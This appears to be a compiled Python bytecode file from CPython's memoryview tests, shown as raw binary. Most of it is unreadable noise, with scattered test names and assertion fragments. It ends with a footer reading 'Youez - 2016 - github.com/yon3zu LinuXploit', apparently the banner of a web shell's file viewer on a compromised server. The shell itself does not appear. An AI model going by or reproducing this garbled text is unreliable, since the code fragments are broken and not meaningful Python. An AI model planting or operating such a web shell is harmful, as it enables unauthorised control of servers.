rrrrBrB�s���L��1�>rrBc�$�\rSrSrSrSrSrSrg)�BaseMemorySliceSliceTestsi�rCc�(�[U5nUSSSS$)NrFrar9rGs   rr:�BaseMemorySliceSliceTests._view�s���s�O����!�u�Q�R�y�rc�:�URUSSU"U55 grEr=r>s    rrh�)BaseMemorySliceSliceTests._check_contents�rKrrN)r	r
rrrr:rhr
rrrrPrP�s���L��1rrPc��\rSrSrSrSrg)�BytesMemoryviewTesti�c��URH�nU"UR5nUR[U55 UR[US95 UR	[
[5 UR	[
[X"5 UR	[
[US9 UR	[
[USS9 M� g)N)�object)�argumentT)rrr�rZr?rA)rrB�obs   r�test_constructor�$BytesMemoryviewTest.test_constructor�s����+�+�B��D�L�L�!�B��O�O�J�r�N�+��O�O�J�b�1�2����i��4����i��R�<����i��b��A����i��R�$��G�rrN)r	r
rrr[r
rrrrVrV�s��HrrVc��\rSrSrSrSrg)�ArrayMemoryviewTestic���[R"S[S55n[U5n[R"S[SSS55nX2SS&URX5 g)NrO�
�	r%)r�rLrZr;)rr8r)�new_as    r�test_array_assign�%ArrayMemoryviewTest.test_array_assignsM���K�K��U�2�Y�'���q�M�����C��q�"�b�!1�2���!������"rrN)r	r
rrrcr
rrrr^r^s��#rr^c��\rSrSrSrg)�BytesMemorySliceTestirNrrrrrfrf���rrfc��\rSrSrSrg)�ArrayMemorySliceTestirNrrrrririrgrric��\rSrSrSrg)�BytesMemorySliceSliceTestirNrrrrrkrkrgrrkc��\rSrSrSrg)�ArrayMemorySliceSliceTestirNrrrrrmrmrgrrmc�J�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
g)
�	OtherTestic��[R"S5n[URS55nUR5n[	U5RS5nUSSUSS&USSUSS&UR
URS5 SH�nURU5 UR5n[	U5RU5n[	U5RU5SSUSS&[	U5RU5SSUSS&UR
URS5 SSS5 M� g!,(df   M�=f)N�ctypesg333333�?r�rc�Bbc)	r�
import_modulery�c_doublerZrr;rU�subTest)rrq�p6rr)rks      r�test_ctypes_cast�OtherTest.test_ctypes_casts���,�,�X�6��
�6�?�?�3�'�
(���O�O����q�M���s�#���2�A���"�1���1�2���!�"��������#�&��F����f�%��O�O�%���q�M�&�&�v�.��"�2��+�+�F�3�B�Q�7��"�1��"�2��+�+�F�3�A�B�7��!�"��� � ����#�.�&�%��%�%�s
�BD1�1
E	c�~�[R"SSSS5n[R"SSSS5n[U5RS5n[U5RS5nUR	UR
S-UR
5 UR
UR5UR55 g)	N�eeer5g��g�?�fff�e�frc)�struct�packrZrr;�nbytes�assertListEqualr�)r�	half_data�
float_data�	half_view�
float_views     r�test_half_float�OtherTest.test_half_float1s����K�K��s�D�#�6�	��[�[���T�3�7�
��y�)�.�.�s�3�	��
�+�0�0��5�
�����)�)�A�-�z�/@�/@�A����Y�-�-�/��1B�1B�1D�Erc�z�SS-n[U5nUSSS2nURUR5SS-5 g)Nr`i@
r%�30)rZr;r")rr��m1�m2s    r�test_memoryview_hex�OtherTest.test_memoryview_hex9s;���6�M��
��]��
��"��X���������4�&�=�1rc�*�[[SS55n[U5nUSSS2nURUR	S5S5 URUR	SS5S5 URUR	SS5S	5 URUR	SSS
9S5 URUR	SSS
9S	5 SH=nURUS9 URUR	SU5S
5 SSS5 M? SSSS-SS-*4H>nURUS9 URUR	SU5S
5 SSS5 M@ g!,(df   M�=f![a N+f=f!,(df   Mt=f)N�a�fr%�:z65:64:63:62:61rcz65:6463:6261���z6564:6362:61)�sep�
bytes_per_sep)r#���i���i�)r��
6564636261li�i�)ryrLrZr;r"ru�
OverflowError)rr�r�r�r�s     r�test_memoryview_hex_separator�'OtherTest.test_memoryview_hex_separator@sd���%��C�.�!��
��]��
��"��X����������&6�7��������Q���8��������R��.�9�������C�q��9�>�J�������C�r��:�N�K�7�M����M��:�� � �����]�!;�\�J�;�:�8�#�F�A�t�G�a��g�X�=�M����M��:���$�$�R�V�V�C��%?��N�;�:�>�;�:��%�����;�:�s6�"#E!�0F�2"E3�!
E0	�3
F�=F�?F�F�
F	c��[S5nUR[5 [R"U5 SSS5 g!,(df   g=f�Nr�)rZr?rA�copyr�s  r�	test_copy�OtherTest.test_copySs1���v���
�
�
�y�
)��I�I�a�L�*�
)�
)�s�A�
Ac���[S5n[[RS-5H7nUR	[
5 [R"X5 SSS5 M9 g!,(df   MK=f)Nr�ra)rZrL�pickle�HIGHEST_PROTOCOLr?rA�dumps)rr)�protos   r�test_pickle�OtherTest.test_pickleXsO���v����6�2�2�Q�6�7�E��"�"�9�-����Q�&�.�-�8�-�-�s�A$�$
A3	c�^^^^�SmUUU4Sjm"U4SjS5n"U4SjS5n"U4SjS5nSm[[S	T-55mUR[5 TU"5 SSS5 Sm[[S	T-55mUR	[TSU"55S
/S-5 Sm[[S	T-55mUR	[TU"5S5S
/S-5 Sm[[S	T-55R
S
S5mUR[S5 TU"5S4 SSS5 Sm[[S	T-55R
S
S5mUR[S5 TSU"54 SSS5 Sm[[S	T-55mUR[S5 STU"5'SSS5 UR	TSSS5 Sm[[S	T-55mUR[S5 STSU"5&SSS5 UR	TSSS5 Sm[[S	T-55mUR[S5 STU"5S&SSS5 UR	TSSS5 Sm[[S	T-55R
S
S5mUR[S5 STU"5S4'SSS5 UR	TSSS5 Sm[[S	T-55R
S
S5mUR[S5 STSU"54'SSS5 UR	TSSS5 Sm[[S	T-55mUR[S5 U"5TS'SSS5 UR	TSSS5 SH�nURUS9 Sm[[S	T-55R
U5mUR[S5 U"5TS'SSS5 UR	TSSS5 SSS5 M� SH�nURUS9 Sm[[S	T-55R
U5mUR[S5 U"5TS'SSS5 UR	TSSS5 SSS5 M� Sm[[S	T-55R
S5mUR[S5 U"5TS'SSS5 UR	TSSS5 g!,(df   GN�=f!,(df   GN=f!,(df   GN�=f!,(df   GN�=f!,(df   GNa=f!,(df   GN=f!,(df   GN�=f!,(df   GNn=f!,(df   GN)=f!,(df   GN�=f!,(df   GM7=f!,(df   GN^=f!,(df   GM�=f!,(df   GN=f)N�c�<>�TR5 [T5mgr)r�r!)rr)�sizes���rr��3OtherTest.test_use_released_memory.<locals>.releasecs���
�I�I�K��4��Brc�">�\rSrSrU4SjrSrg)�3OtherTest.test_use_released_memory.<locals>.MyIndexigc�>�T"5 g)Nrrr�rr�s �r�	__index__�=OtherTest.test_use_released_memory.<locals>.MyIndex.__index__hs����	�rrN)r	r
rrr�r
�r�s�r�MyIndexr�gs
���
�
rr�c�">�\rSrSrU4SjrSrg)�3OtherTest.test_use_released_memory.<locals>.MyFloatikc�>�T"5 g)Ng@rr�s �r�	__float__�=OtherTest.test_use_released_memory.<locals>.MyFloat.__float__l�����	�rrN)r	r
rrr�r
r�s�r�MyFloatr�k�
���
�
rr�c�">�\rSrSrU4SjrSrg)�2OtherTest.test_use_released_memory.<locals>.MyBoolioc�>�T"5 g)NTrr�s �r�__bool__�;OtherTest.test_use_released_memory.<locals>.MyBool.__bool__pr�rrN)r	r
rrr�r
r�s�r�MyBoolr�or�rr����rr�r�)�@rczoperation forbiddenr)rcr��*ssspam��bhilqnBHILQN)�fmt�fd�?)	rZr!r?rlr;rKrr�ru)	rr�r�r�r�rr)r�r�s	     @@@@r�test_use_released_memory�"OtherTest.test_use_released_memory^sV�����	!�	�	�	�	�	�	�
���y����.�/��
�
�
�z�
*�
�g�i�L�+����y����.�/������a�
���m�,�s�e�a�i�8�
���y����.�/������a��	�!�n�-��u�q�y�9�
���y����.�/�4�4�S�'�B��
�
#�
#�J�0E�
F�
�g�i��l�O�G����y����.�/�4�4�S�'�B��
�
#�
#�J�0E�
F�
�a���l�O�G����y����.�/��
�
#�
#�J�0E�
F��A�g�i�L�G�����B�Q���)�
���y����.�/��
�
#�
#�J�0E�
F�#�A�j�w�y�M�G�����B�Q���)�
���y����.�/��
�
#�
#�J�0E�
F�$�A�g�i��N�G�����B�Q���)�
���y����.�/�4�4�S�'�B��
�
#�
#�J�0E�
F� �A�g�i��l�O�G�����A�b��7�+�
���y����.�/�4�4�S�'�B��
�
#�
#�J�0E�
F� �A�a���l�O�G�����B�Q���)�
���y����.�/��
�
#�
#�J�0E�
F��9�A�a�D�G�����B�Q���)�!�C����#��&����y����6�7�<�<�S�A���+�+�J�8M�N�"�9�A�a�D�O�� � ��B�Q���1�'�&�"��C����#��&����y����6�7�<�<�S�A���+�+�J�8M�N�"�9�A�a�D�O�� � ��B�Q���1�'�&�����y����.�/�4�4�S�9��
�
#�
#�J�0E�
F��8�A�a�D�G�����B�Q���)�Y+�
*��G�
F��
G�
F��
G�
F��G�
F��G�
F��G�
F��
G�
F��G�
F��O�N��'�&��O�N��'�&��G�
F�s��$U�6
U�

U&�U8�%V
�<V�#
V.�
W�%W�!?W6� W$�+W6�(?X�'X	�2X�X.�
U�
U#�&
U5�8
V�

V�
V+�.
V=�
W�
W!�$
W3�.W6�6
X	�	
X�X�
X+	�.
X=c���[S5RS5n[5nXlX"l[
R"U5nAA[R"5 URU"55 g)Nr�r)
rZ�
__buffer__rr)r�r�r�r�r��assertIsNone)rr)r�r�s    r�test_buffer_reference_loop�$OtherTest.test_buffer_reference_loop�sS���v��)�)�!�,���J������
�[�[��^��
�q�
�
�
�����"�$�rc���[R"[S55n[5nXlX"l[R"U5nAA[R"5 URU"55 gr�)r��PickleBufferrZr�pbr�r�r�r�r�r�)rr�r�r�s    r� test_picklebuffer_reference_loop�*OtherTest.test_picklebuffer_reference_loop�sS��
�
 �
 ��F�!3�
4���J������
�[�[��^����
�
�
�����"�$�rrN)r	r
rrrwr�r�r�r�r�r�r�r�r
rrrroros2��/�&F�2��&�
'�d*�L � rro�__main__)�__doc__r4�test.supportrr0r�r�r�r�r�r�r~rrrr'r)r7rBrP�TestCaserVr^rfrirkrmror	�mainrrr�<module>r�s;�����
�	���	��
�
�&�	�	�S8�S8�t�.��

�.�

�(,�,�>�>�"1�1�H�(�+�+��-�H�	#�(�+�+��-�	#�	�8�,�,��.�	�	�8�,�,��.�	�	�� 1� 1��3�	�	�� 1� 1��3�	�
y ��!�!�y �x�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit